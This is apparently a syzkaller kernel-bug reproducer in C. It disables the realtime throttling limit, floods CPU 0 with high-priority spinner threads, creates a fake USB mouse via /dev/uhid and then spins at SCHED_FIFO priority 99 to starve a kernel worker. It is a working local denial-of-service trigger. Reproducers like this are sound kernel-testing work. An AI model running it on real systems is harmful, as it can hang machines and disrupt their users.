// https://syzkaller.appspot.com/bug?id=d5d40425f79fc21c06b1baf17bf7e950159eff49
#define _GNU_SOURCE
#include <fcntl.h>
#include <linux/uhid.h>
#include <linux/input.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <sys/resource.h>
#include <linux/futex.h>

// Futex-based Event
typedef struct {
    int state;
} event_t;

static void event_init(event_t* ev) { ev->state = 0; }
static void event_set(event_t* ev) {
    __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
    syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev) {
    while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
        syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

event_t start_event;
static int priority_error_printed = 0;

void* spinner_thread(void* arg) {
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(0, sizeof(set), &set) < 0) {
        if (!__atomic_exchange_n(&priority_error_printed, 1, __ATOMIC_RELAXED)) {
            printf("[-] Failed to spinner sched_setaffinity: %s\n", strerror(errno));
        }
    }
    
    errno = 0;
    if (setpriority(PRIO_PROCESS, syscall(SYS_gettid), -20) == -1 && errno != 0) {
        if (!__atomic_exchange_n(&priority_error_printed, 1, __ATOMIC_RELAXED)) {
            printf("[-] Failed to spinner setpriority: %s\n", strerror(errno));
        }
    }
    
    event_wait(&start_event);
    
    while (1) {
        __asm__ volatile("" : : : "memory");
    }
    return NULL;
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);

    // Try to disable RT limit globally (ignore errors as it might be read-only)
    int sysctl_fd = open("/proc/sys/kernel/sched_rt_runtime_us", O_WRONLY);
    if (sysctl_fd >= 0) {
        if (write(sysctl_fd, "-1\n", 3) < 0) {
            printf("[-] Failed to write sched_rt_runtime_us: %s\n", strerror(errno));
        } else {
            printf("[+] write sched_rt_runtime_us successful.\n");
        }
        close(sysctl_fd);
    }

    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    int res = sched_setaffinity(0, sizeof(set), &set);
    if (res < 0) {
        printf("[-] Failed to sched_setaffinity: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] sched_setaffinity successful.\n");

    event_init(&start_event);

    int num_threads = 0;
    for (int i = 0; i < 500; i++) {
        pthread_t t;
        if (pthread_create(&t, NULL, spinner_thread, NULL) != 0) {
            printf("[-] pthread_create failed at thread %d: %s\n", i, strerror(errno));
            break;
        }
        num_threads++;
    }
    printf("[+] Created %d nice=-20 spinner threads on CPU 0.\n", num_threads);

    int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_KOBJECT_UEVENT);
    if (sock < 0) {
        printf("[-] Failed to socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] socket successful.\n");

    struct sockaddr_nl snl;
    memset(&snl, 0, sizeof(snl));
    snl.nl_family = AF_NETLINK;
    snl.nl_groups = 1;
    res = bind(sock, (struct sockaddr *)&snl, sizeof(snl));
    if (res < 0) {
        printf("[-] Failed to bind: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] bind successful.\n");

    int fd = open("/dev/uhid", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open uhid: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] open uhid successful.\n");

    struct sched_param param = { .sched_priority = 99 };
    res = sched_setscheduler(0, SCHED_FIFO, &param);
    if (res < 0) {
        printf("[-] Failed to sched_setscheduler: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] sched_setscheduler successful.\n");

    struct uhid_event ev;
    memset(&ev, 0, sizeof(ev));
    ev.type = UHID_CREATE2;
    strcpy((char*)ev.u.create2.name, "starvation-test");
    
    unsigned char mouse_rd[] = {
        0x05, 0x01, 0x09, 0x02, 0xA1, 0x01, 0x09, 0x01,
        0xA1, 0x00, 0x05, 0x09, 0x19, 0x01, 0x29, 0x03,
        0x15, 0x00, 0x25, 0x01, 0x95, 0x03, 0x75, 0x01,
        0x81, 0x02, 0x95, 0x01, 0x75, 0x05, 0x81, 0x03,
        0x05, 0x01, 0x09, 0x30, 0x09, 0x31, 0x15, 0x81,
        0x25, 0x7F, 0x75, 0x08, 0x95, 0x02, 0x81, 0x06,
        0xC0, 0xC0
    };
    memcpy(ev.u.create2.rd_data, mouse_rd, sizeof(mouse_rd));
    ev.u.create2.rd_size = sizeof(mouse_rd);
    ev.u.create2.bus = BUS_USB;
    ev.u.create2.vendor = 0x1234;
    ev.u.create2.product = 0x5678;

    res = write(fd, &ev, sizeof(ev));
    if (res < 0) {
        printf("[-] Failed to write uhid: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] write uhid successful.\n");

    char buf[4096];
    while (1) {
        int n = recv(sock, buf, sizeof(buf), 0);
        if (n > 0) {
            int found = 0;
            for (int i = 0; i <= n - 9; i++) {
                if (memcmp(buf + i, "1234:5678", 9) == 0) {
                    found = 1;
                    break;
                }
            }
            if (found) {
                printf("[+] Received uevent, worker thread is now preempted!\n");
                break;
            }
        } else if (n < 0) {
            printf("[-] Failed to recv: %s\n", strerror(errno));
            exit(1);
        }
    }

    event_set(&start_event);
    printf("[+] Woke up %d spinner threads. Starving CPU 0...\n", num_threads);

    while (1) {
        __asm__ volatile("" : : : "memory");
    }

    return 0;
}